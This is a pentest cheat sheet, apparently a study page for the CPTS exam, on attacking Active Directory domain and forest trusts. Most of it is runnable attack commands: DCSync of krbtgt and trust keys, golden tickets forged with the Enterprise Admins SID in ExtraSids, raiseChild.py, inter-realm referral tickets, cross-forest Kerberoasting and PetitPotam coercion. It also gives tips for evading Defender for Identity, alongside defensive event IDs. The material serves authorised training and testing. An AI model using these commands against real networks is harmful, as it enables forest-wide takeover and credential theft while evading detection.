domain-trusts-and-cross-forest.md (26252B)
1 --- 2 title: "Domain Trusts and Cross-Forest" 3 description: "CPTS attack-flow reference for domain trusts and cross-forest in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 14 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-trusts", "pentest-workflow"] 8 tools: ["Impacket", "PowerView", "BloodHound"] 9 difficulty: advanced 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/14 - Domain Trusts and Cross-Forest.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 14 of 17 · **Focus:** Domain Trusts and Cross-Forest 17 > 18 > **Previous:** [Stage 10 — Lateral Movement, Pivoting, and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) · **Next:** [Stage 11 — Documentation and Reporting](/sheets/pentest-workflow/documentation-and-reporting) 19 20 --- 21 # 🌲 DOMAIN TRUSTS & CROSS-FOREST — beyond one domain 22 23 DA in one domain isn't the end when there's a forest. Parent/child and forest trusts let a compromise in one domain reach the others. The rule that decides everything: **SID filtering is OFF inside a forest (parent↔child) but ON across a forest trust** — so the ExtraSids/SID-History trick that owns the forest root does *not* cross into a foreign forest. Enumerate the trusts first, then pick the technique by trust type. Deep dives: 🔶 Attack · 🔶 Attack · 🔶 Attack · 🔶 Attack. 24 25 --- 26 27 ### Trust types — the decision table 28 29 Every technique below keys off three properties: **direction** (which way credentials flow), **transitivity** (does the trust chain extend?), and **SID filtering** (are foreign-privileged SIDs stripped?). 30 31 | Trust type | Created when | Default direction | Transitive? | SID filtering | Attack surface | 32 | :-- | :-- | :-- | :-- | :-- | :-- | 33 | **Parent–Child** | child domain added to forest | bidirectional | **Yes** | **OFF** (inside forest) | child DA → forest root via ExtraSids (golden ticket + `-519`) | 34 | **Tree–Root** | new tree (different DNS namespace) added to forest | bidirectional | **Yes** | **OFF** | same as parent–child | 35 | **External** | manual, domain↔domain across forests (or NT4) | set at creation | **No** | **ON** (always) | only what's explicitly shared; kerberoast/delegation across | 36 | **Forest** | manual, forest↔forest | set at creation | **Yes** (within the trust) | **ON** (default) | trust-key referral, foreign group hunting | 37 | **Shortcut** | manual, between two domains in same forest | bidirectional | Yes | OFF | speed optimisation only — same attack surface as parent–child | 38 | **Realm (MIT)** | AD↔non-Windows Kerberos | set at creation | No | n/a | rare in labs; treat like external | 39 40 **Direction, decoded:** an **inbound** trust on the target means *users from my domain can authenticate there* (target trusts me) — that's the direction I can attack along. **Outbound** means I trust *them* — their compromise reaches me, not vice versa. Mnemonic: "inbound = I can go in." **Bidirectional** = both. 41 42 ```text 43 Direction cheat: 44 CHILD --(trusts PARENT)--> PARENT means: PARENT users can auth into CHILD 45 attack flows WITH the "users can auth" arrow, i.e. from the trusted side to the trusting side 46 ``` 47 48 **Transitivity matrix:** 49 ```text 50 Parent-Child / Tree-Root: transitive — A↔B and B↔C inside a forest ⇒ A trusts C automatically 51 Forest: transitive across the two forests' domains, but does NOT chain to a third forest 52 External: never transitive — only the two named domains 53 ``` 54 55 --- 56 57 ### Enumerate trusts 58 59 **What to look for** → direction (inbound/outbound/bidirectional), type (parent-child vs forest/external), and whether it's transitive. BloodHound draws trust edges; confirm on the wire. Everything in this section is standard [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) enumeration pointed at `trustedDomain` objects. 60 61 **From Linux (authenticated):** 62 ```bash 63 nxc ldap "$DC" -u "$U" -p "$P" -M enum_trusts 64 nxc ldap "$DC" -u "$U" -p "$P" \ 65 --query "(objectClass=trustedDomain)" "" 66 67 # ldapdomaindump pulls trusts into the HTML/grep-able dump automatically 68 ldapdomaindump -u "$DOMAIN\\$U" -p "$P" "$DC" -o ldd-out/ 69 grep -i trust ldd-out/domain_trusts.html 70 71 # impacket: quick DC locator per discovered domain 72 getTGT.py "$DOMAIN/$U:$P" -dc-ip "$DC" -debug 2>/dev/null | head # sanity: creds work before chasing trusts 73 ``` 74 75 **From a Windows Command Prompt:** 76 ```batch 77 nltest /domain_trusts /all_trusts 78 nltest /dsgetdc:$DOMAIN /force :: locate a DC in the *current* domain 79 nltest /dsgetdc:partner.com :: locate a DC in the TRUSTED domain (proves routing works) 80 ``` 81 82 **From PowerShell with the AD module or PowerView:** 83 ```powershell 84 Get-ADTrust -Filter * | 85 Select-Object Name, Direction, TrustType, ForestTransitive 86 87 Get-DomainTrust # trusts of current domain 88 Get-ForestTrust # trusts of the whole forest 89 Get-DomainTrustMapping # walk the full map across all discovered trusts 90 Get-DomainTrust -Domain partner.com # enumerate FROM the other side, through the trust 91 Get-DomainUser -Domain partner.com # any readable objects across the trust 92 ``` 93 94 **BloodHound cross-domain ingest:** the collector only grabs the domain you're scoped to by default — collect **each domain in the forest separately**, and BloodHound stitches the trust edges (`TrustedBy`) plus *Foreign* nodes (ForeignGroupMembership, ForeignAdmin) automatically: 95 ```bash 96 bloodhound-ce-python -u "$U" -p "$P" -d child.$DOMAIN -dc child-dc.child.$DOMAIN -c all --zip 97 bloodhound-ce-python -u "$U" -p "$P" -d $DOMAIN -dc $DC -c all --zip # repeat per domain 98 # SharpHound equivalent per domain: SharpHound.exe -c all -d child.domain.local 99 ``` 100 101 > [!warning] Watch out — trust enumeration is noisy 102 > `nltest /domain_trusts` and `Get-ADTrust` are benign admin commands; `Get-DomainTrustMapping` and cross-domain LDAP queries generate directory-service traffic from a workstation that has no business asking — Defender for Identity flags *reconnaissance against trusts* patterns. BloodHound `-c all` across multiple domains multiplies the LDAP query volume; consider `-c DCOnly` or grouped collection per domain. Trust objects themselves are world-readable in AD — authenticated users may enumerate them by design (T1482), so the detection signal is *velocity and source*, not the read itself. 103 104 --- 105 106 ### INTRA-FOREST: Child → Parent (forest root) via SID History 107 108 **What to look for** → you're DA in a **child** domain and want Enterprise Admin over the whole forest. Works because SID filtering is not enforced inside a forest — a forged ticket from the child can carry the forest-root **Enterprise Admins** SID (`<rootSID>-519`) in its ExtraSids, and the root accepts it. 109 110 **The keys you need:** 111 1. Child domain `krbtgt` NT hash (you're child DA — DCSync it). 112 2. Child domain SID (any `whoami /user` or `Get-DomainSID`). 113 3. **Forest root domain SID** (resolve via the trust, e.g. `Get-DomainSID -Domain root.local` or `lookupsid.py`). 114 115 **Linux / Impacket flow:** 116 ```bash 117 # 1. DCSync the CHILD krbtgt (you're child DA), get child domain SID + the parent's EA SID (parentSID-519) 118 secretsdump.py "child.$DOMAIN"/'childDC$'@child-dc -just-dc-user krbtgt 119 lookupsid.py "child.$DOMAIN"/Administrator@parent-dc | head -3 # resolve parent domain SID 120 121 # 2. forge a Golden Ticket in the child, inject parent Enterprise Admins SID via ExtraSids 122 ticketer.py -nthash <child_krbtgt> -domain-sid S-1-5-21-<childSID> \ 123 -domain child.$DOMAIN -extra-sid S-1-5-21-<parentSID>-519 Administrator 124 export KRB5CCNAME=Administrator.ccache 125 126 # 3. now Enterprise Admin across the forest → DCSync the forest root 127 secretsdump.py -k -no-pass "$DOMAIN"/Administrator@parent-dc 128 ``` 129 130 **Impacket one-shot:** `raiseChild.py` automates the entire child→root escalation (dumps child krbtgt, resolves SIDs, forges the ExtraSids ticket, and can drop straight into a shell on the root DC): 131 ```bash 132 raiseChild.py child.$DOMAIN/Administrator:'<childpass>' 133 raiseChild.py -hashes :<child_admin_nthash> child.$DOMAIN/Administrator 134 raiseChild.py child.$DOMAIN/Administrator -target-exec parent-dc.$DOMAIN # forge + psexec-style exec on root DC 135 ``` 136 137 **Windows foothold flow (mimikatz + Rubeus):** 138 ```batch 139 :: dump child krbtgt AND the trust keys in one go 140 mimikatz.exe "privilege::debug" "lsadump::dcsync /user:CHILD\krbtgt" "exit" 141 mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit" :: krbtgt + inter-realm trust keys + domain SIDs 142 143 :: forge golden with parent EA SID history 144 mimikatz.exe "kerberos::golden /user:Administrator /domain:child.$DOMAIN /sid:S-1-5-21-<childSID> ^ 145 /krbtgt:<child_krbtgt_nthash> /sids:S-1-5-21-<parentSID>-519 /ptt" "exit" 146 147 :: verify + use 148 dir \\parent-dc.$DOMAIN\C$ 149 ``` 150 151 > [!tools] Stage this 152 > [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc)) 153 154 > [!warning] Watch out 155 > - `-extra-sid` / `/sids` must be the **parent's** domain SID + `-519` (Enterprise Admins), not the child's — the most common botched forge. Get the parent SID with `lookupsid.py` against a parent DC, don't guess. 156 > - Fires **4768/4769** for the cross-domain TGT/TGS and the forged ticket's account (e.g. `Administrator`) may not even exist in the child — Defender for Identity detects golden tickets via ticket-lifetime anomalies (default TGT lifetime 10h; mimikatz defaults to 10 years → massive tell). Set `/endin:600 /renewmax:10080` (10h/7d, real defaults). 157 > - krbtgt is RC4 by default; if the domain is AES-only (rare), forge with `-aesKey` / `/aes256` instead. 158 > - This is the classic "child DA → forest root" and it needs no CVE — the trust design allows it. Deep dive: 🔶 Attack. MITRE: T1550.003 (PtT) + T1558.001 (Golden Ticket). 159 160 --- 161 162 ### Inter-realm trust keys — the forest trust's master key 163 164 **What to look for** → every trust creates an **inter-realm trust account** (`TRUSTEDDOMAIN$`, e.g. `PARTNER$`) whose password is the shared secret for the trust. Dump it (as DA) and you can forge **referral TGTs** into the trusted side — for parent↔child this equals forest-root access, for forest trusts it's the entry ticket (still gated by SID filtering). 165 166 ```batch 167 :: all trust keys for the domain, inbound and outbound 168 mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit" 169 :: output per trust: [IN] current + previous RC4/AES keys, [OUT] same — save BOTH directions 170 ``` 171 ```bash 172 # impacket equivalent — the trust account's hash IS the RC4 trust key 173 secretsdump.py "$DOMAIN"/'DC$'@$DC -just-dc-user "partner$" 174 ``` 175 176 > [!note] Trust-key gotchas 177 > - The trust account password rotates every **30 days** (like machine accounts) — mimikatz shows current *and previous*; both are typically valid. 178 > - **RC4 vs AES trust key:** `secretsdump` gives you the NT (RC4) key. If you forge an inter-realm TGT with the RC4 key but the trusting side expects AES (or you ask `asktgs` for AES), the KDC may answer with a ticket you can't parse/use — specify `ticketer.py -nthash <rc4key>` (RC4 end-to-end) and request RC4 service tickets (`Rubeus asktgs /enctype:rc4`), or extract the AES trust keys with `lsadump::trust /patch` and forge with `-aesKey`. 179 > - Trust keys are how **SID filtering is enforced**: the trusting KDC rebuilds the PAC and strips filtered SIDs — the key gets you across, it doesn't smuggle privileges. 180 181 --- 182 183 ### CROSS-FOREST — SID filtering blocks the shortcut 184 185 **What to look for** → a **forest trust** to a partner forest. ExtraSids is filtered here, so you can't just inject a foreign EA SID. Two real paths: 186 187 ```bash 188 # A) Trust-key forge → referral into the foreign forest (only reaches groups explicitly shared across the trust) 189 secretsdump.py "$DOMAIN"/'DC$'@$DC -just-dc-user "partner$" # dump the inter-realm trust key 190 ticketer.py -nthash <trust_key> -domain-sid S-1-5-21-<mySID> -domain "$DOMAIN" \ 191 -spn krbtgt/partner.com Administrator # inter-realm referral TGT 192 export KRB5CCNAME=Administrator.ccache 193 getST.py -k -no-pass -spn cifs/partner-dc.partner.com "$DOMAIN/Administrator@partner.com" 194 195 # B) Hunt foreign-group memberships / ACLs your principals already hold ACROSS the trust (BloodHound "Foreign" nodes) 196 ``` 197 198 From a Windows foothold, request the destination service ticket with Rubeus: 199 ```batch 200 Rubeus.exe asktgs /ticket:referral.kirbi /service:cifs/partner-dc.partner.com /ptt /enctype:rc4 201 ``` 202 203 **What SID filtering actually strips** (forest/external trusts): SIDs from the *other* forest that identify privileged or well-known principals — specifically anything with **RID ≥ 500 in the foreign domain** (Domain Admins `-512`, Enterprise Admins, the Administrator account, etc.) plus SIDs from any domain *other than* the directly trusted one. What **survives**: RIDs **< 1000 built-in container SIDs are partly exempt** — the classic abuse is that `Account Operators`-adjacent and some built-in groups can pass; more practically, **foreign SIDs with RID ≥ 1000 (normal users/groups) survive untouched**. So: a foreign user who is a member of a group *explicitly granted* local admin on a server (or in an ACL) keeps that access through the trust. 204 205 **Concretely exploitable across a filtered forest trust:** 206 ```text 207 [ ] ForeignSecurityPrincipals — enumerate the trusting forest's CN=ForeignSecurityPrincipals: 208 members of local groups that are SIDs from YOUR forest (Get-DomainObject -Domain partner.com, or 209 nxc ldap query on (objectClass=foreignSecurityPrincipal)) → maps "my user X has rights over there" 210 [ ] Kerberoast across the trust — GetUserSPNs.py / Rubeus kerberoast against the trusting domain; 211 service accounts there crack offline identically (Stage 05) 212 [ ] Unconstrained delegation — a server in the partner forest with unconstrained delegation will still 213 hand you TGTs of partner-forest users/computers that touch it (printerbug coercion works cross-forest 214 if routing/firewall allows) → partner DA 215 [ ] MSSQL link chains — linked servers routinely hop across trust boundaries where Kerberos would be 216 filtered; xp_cmdshell on the far side executes in the partner forest (Stage 10 tooling) 217 [ ] ADCS cross-forest enrollment — templates enrollment-permitted for foreign principals (see below) 218 ``` 219 220 **Selective authentication** (`Selective Authentication Enabled` on the trust): even with a valid cross-trust ticket, you can only reach machines where your principal has the **Allowed to Authenticate** right (default: *no one* gets it implicitly — the "other forest users can't even log on" mode). Enumeration tell: `Get-ADTrust` shows `TrustAttributes` values; Rubeus `asktgs` succeeds but `dir \\host\C$` fails with access denied despite a valid ticket. In practice it's rare — most forest trusts are wide — but when you hit it, hunt for the specific servers where `AllowedToAuthenticate` was granted. 221 222 > [!warning] Watch out 223 > Across a forest trust you can only reach what's **explicitly shared** (foreign group memberships, cross-forest ACLs). Chase BloodHound's *ForeignGroupMembership* / *ForeignAdmin* nodes rather than expecting full DA. Forged cross-forest tickets are **louder** than intra-forest: the referral + foreign TGS pair (4768→4769 across two forests' DCs) is a strong cross-forest-anomaly signal for Defender for Identity. Deep dive: 🔶 Attack. 224 225 > [!tip] Two more trust plays 226 > **ADCS cross-domain enrollment** — a CA in one domain trusting principals from another lets you enroll a cert as a foreign identity → auth across the trust (pairs with [Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse); check `certipy find -enabled -dc-ip <otherDC>` from the trusted side). 🔶 Attack. 227 > **PAM / bastion-forest trust** (Server 2016+, rare) — if you own the bastion forest, create a **shadow principal** mapping your bastion user's SID to a production **Domain Admins** SID for standing admin in production. 🔶 Attack. 228 229 ### ForeignSecurityPrincipals — mapping who can reach what 230 231 **What to look for** → when a foreign principal is granted membership in a trusting forest's group, AD stores a **Foreign Security Principal** object (`CN=<SID>,CN=ForeignSecurityPrincipals,DC=...`) — a stub that only holds the foreign SID. Enumerating these tells you exactly which accounts from *your* forest already have standing rights over there. 232 233 ```powershell 234 # FSPs in the trusting domain -> which foreign SIDs hold rights 235 Get-DomainObject -Domain partner.com -SearchBase "CN=ForeignSecurityPrincipals,DC=partner,DC=com" 236 # then resolve each SID back in YOUR forest to a real user/group 237 Get-DomainObject -Identity "S-1-5-21-<yourSID>-<rid>" 238 # and check what groups contain FSPs (nested foreign rights) 239 Get-DomainGroup -Domain partner.com | ForEach-Object { 240 Get-DomainGroupMember -Domain partner.com -Identity $_.samaccountname -Recurse 241 } | Where-Object { $_.MemberName -match 'S-1-5-21' } 242 ``` 243 ```bash 244 # Linux equivalent 245 nxc ldap "$DC" -u "$U" -p "$P" --query "(objectClass=foreignSecurityPrincipal)" "" 246 ``` 247 248 > [!tip] BloodHound does this for you — ingest both forests and query `MATCH (u)-[:MemberOf|ForeignGroupMembership*1..]->(g) RETURN u.name,g.name`, or just eyeball the *Foreign* tabs on any high-value group. FSPs are the highest-signal, lowest-noise cross-forest attack path: no forging, no coercion, just rights someone forgot they granted. 249 250 --- 251 252 ### Exploitation gotchas — quick reference 253 254 | Gotcha | Symptom | Fix | 255 | :-- | :-- | :-- | 256 | `-extra-sid` with child SID | root DC rejects / no EA rights | use **parent** SID + `-519` | 257 | 10-year forged TGT | instant DfI golden-ticket alert | `/endin:600 /renewmax:10080` | 258 | AES ticket asked, RC4 trust key held | getST fails / unparseable | `-nthash` + `/enctype:rc4`, or extract AES via `lsadump::trust /patch` | 259 | Trust key rotated mid-engagement | forged referral suddenly fails | re-dump; the *previous* key often still works | 260 | Selective authentication on trust | valid TGS, still access denied | need `AllowedToAuthenticate` per host — hunt grants or pick another vector | 261 | SID filtering strips your extra SIDs | ticket valid, privileges gone | expected cross-forest; pivot to foreign-group hunting | 262 | Clock skew between forests | `KRB_AP_ERR_SKEW` | sync: `ntpdate`/`faketime` against the *target* forest's DC | 263 | SID history *enabled* on a forest trust | ExtraSids might survive! | rare misconfig — retry the intra-forest technique; treat as a finding | 264 265 --- 266 267 ### Technique picker — decision flow 268 269 <figure class="flow plate corners"> 270 <figcaption class="flow__cap"><span class="flow__kind">Cross-forest technique picker</span><span class="flow__dir">TD</span></figcaption> 271 <div class="flow__body"> 272 <div class="flow__diagram" data-dir="td"> 273 <div class="flow-rank"><div class="flow-node is-entry">DA in a domain</div></div> 274 <div class="flow-edge"></div> 275 <div class="flow-rank"><div class="flow-node is-decision">Trust type?</div></div> 276 <div class="flow-branches"> 277 <div class="flow-lane"> 278 <div class="flow-edge"><span class="flow-edge__label">Parent-Child / Tree-Root<br/>SID filtering OFF</span></div> 279 <div class="flow-node">Forge child golden ticket<span class="sub">+ parentSID-519 ExtraSids</span><span class="sub">ticketer.py / mimikatz /sid</span></div> 280 <div class="flow-edge"></div> 281 <div class="flow-node is-goal">Enterprise Admin<span class="sub">DCSync forest root</span></div> 282 </div> 283 <div class="flow-lane"> 284 <div class="flow-edge"><span class="flow-edge__label">Forest / External<br/>SID filtering ON</span></div> 285 <div class="flow-node is-decision">Anything explicitly shared?</div> 286 <div class="flow-branches"> 287 <div class="flow-lane"> 288 <div class="flow-edge"><span class="flow-edge__label">Foreign group membership / ACL</span></div> 289 <div class="flow-node">Use legit cross-trust access<span class="sub">BloodHound Foreign nodes</span></div> 290 </div> 291 <div class="flow-lane"> 292 <div class="flow-edge"><span class="flow-edge__label">SPNs in other forest</span></div> 293 <div class="flow-node">Kerberoast across trust<span class="sub">crack offline</span></div> 294 </div> 295 <div class="flow-lane"> 296 <div class="flow-edge"><span class="flow-edge__label">Unconstrained delegation host</span></div> 297 <div class="flow-node">Coerce partner-forest principals<span class="sub">harvest TGTs</span></div> 298 </div> 299 <div class="flow-lane"> 300 <div class="flow-edge"><span class="flow-edge__label">ADCS enrollment rights</span></div> 301 <div class="flow-node">Enroll as foreign identity<span class="sub">cert auth across trust</span></div> 302 </div> 303 <div class="flow-lane"> 304 <div class="flow-edge"><span class="flow-edge__label">Nothing shared</span></div> 305 <div class="flow-node">Own the trust key anyway:<span class="sub">referral TGT for auth,</span><span class="sub">then enumerate what IS reachable</span></div> 306 </div> 307 </div> 308 </div> 309 <div class="flow-lane"> 310 <div class="flow-edge"><span class="flow-edge__label">PAM / bastion</span></div> 311 <div class="flow-node">Shadow principal mapping<span class="sub">bastion SID -> prod DA SID</span></div> 312 </div> 313 </div> 314 </div> 315 </div> 316 </figure> 317 318 --- 319 320 ### Cross-forest Kerberoasting — the quiet win 321 322 **What to look for** → SPNs in the *partner* forest are usually requestable by any authenticated user through the trust — and partner-forest service accounts are often weaker (legacy services, forgotten passwords), because each forest's admins assume the other side can't touch them. 323 324 ```bash 325 # request partner-forest service tickets THROUGH the trust (needs a valid cred in YOUR forest) 326 GetUserSPNs.py "$DOMAIN/$U:$P" -dc-ip "$DC" -target-domain partner.com -request 327 # Windows: 328 Rubeus.exe kerberoast /domain:partner.com /dc:partner-dc.partner.com 329 ``` 330 ```powershell 331 # PowerView across the trust — enumerate SPN accounts in the partner domain 332 Get-DomainUser -SPN -Domain partner.com | Select-Object samaccountname,serviceprincipalname 333 Get-DomainTrust | ForEach-Object { Get-DomainUser -SPN -Domain $_.TargetName } # roast every trusted domain 334 ``` 335 336 Crack the returned `$krb5tgs$` hashes exactly like [Stage 05](/sheets/pentest-workflow/kerberos-attacks) (hashcat `-m 13100`/`18200`). A cracked partner-forest service account + any local admin it holds = your cross-forest foothold without forging anything — SID filtering never enters the picture because the access is *legitimate*. 337 338 --- 339 340 ### Unconstrained delegation across a trust 341 342 **What to look for** → a server in the **partner forest** configured with unconstrained delegation (`TRUSTED_FOR_DELEGATION`). Any principal from your forest that authenticates to it drops a usable TGT in its memory — and coercion works across trusts when routing/firewalls allow SMB/RPC between forests. 343 344 ```powershell 345 # find them in the partner forest (through the trust) 346 Get-DomainComputer -Unconstrained -Domain partner.com 347 ``` 348 ```bash 349 # coerce a partner-forest DC into touching your controlled unconstrained host in that forest: 350 # 1) monitor on the delegation host (in partner forest): Rubeus.exe monitor /interval:5 /filteruser:PARTNERDC$ 351 # 2) coerce from Linux via your own forest's creds (if the partner DC accepts auth from your forest) 352 python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" <listener_host> partner-dc.partner.com 353 # 3) harvested PARTNERDC$ TGT → DCSync the partner domain (Stage 06 flow) 354 ``` 355 356 > [!warning] Watch out 357 > Coercion across forests requires network reachability from the target DC to your listener host (135/445 through the forest-to-forest firewall — often blocked). The delegation host itself must be one you already control in the partner forest, so this is a *post-foothold* escalation, not an entry vector. Also: printerbug/EFS coercion fire **4662/5145/5156** bursts and NTLM coercion across forests is a favourite DfI detection — see [08 - Stage 05 - Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) and [09 - Stage 06 - ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse) for the base techniques. 358 359 --- 360 361 ### OPSEC summary — cross-trust telemetry 362 363 | Event | Where | What it shows | 364 | :-- | :-- | :-- | 365 | **4768** (TGT requested) | both forests' DCs | forged TGT use; account name from another domain | 366 | **4769** (TGS requested) | trusting-side DC | cross-domain service tickets; the `krbtgt/<foreign>` referral is distinctive | 367 | **4662** (replication) | DC | DCSync of krbtgt/trust keys from a non-DC host | 368 | **4771** (pre-auth failed) | DC | brute of trust account / bad forge attempts | 369 | Sysmon **10** | any box | lsass access if you dump trust keys via sekurlsa | 370 371 > [!tip] CPTS exam tip 372 > When the exam throws a multi-domain forest at you (e.g. the AEN-style labs): (1) dump trusts with `Get-DomainTrustMapping` early and **draw the picture**; (2) check BloodHound Foreign nodes before forging anything — a legit foreign-group path is quieter and faster than a golden ticket; (3) keep per-domain credential/SID tables in your notes — mixing up child vs parent SIDs wastes an hour; (4) every forest compromise is a report finding ("insufficient trust hardening / SID filtering not enforced" — root cause, not "hacker forged ticket"). 373 374 --- 375 376 > [!navigation] Continue the attack flow 377 > **Previous:** [Stage 10 — Lateral Movement, Pivoting, and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) 378 > 379 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 380 > 381 > **Next:** [Stage 11 — Documentation and Reporting](/sheets/pentest-workflow/documentation-and-reporting)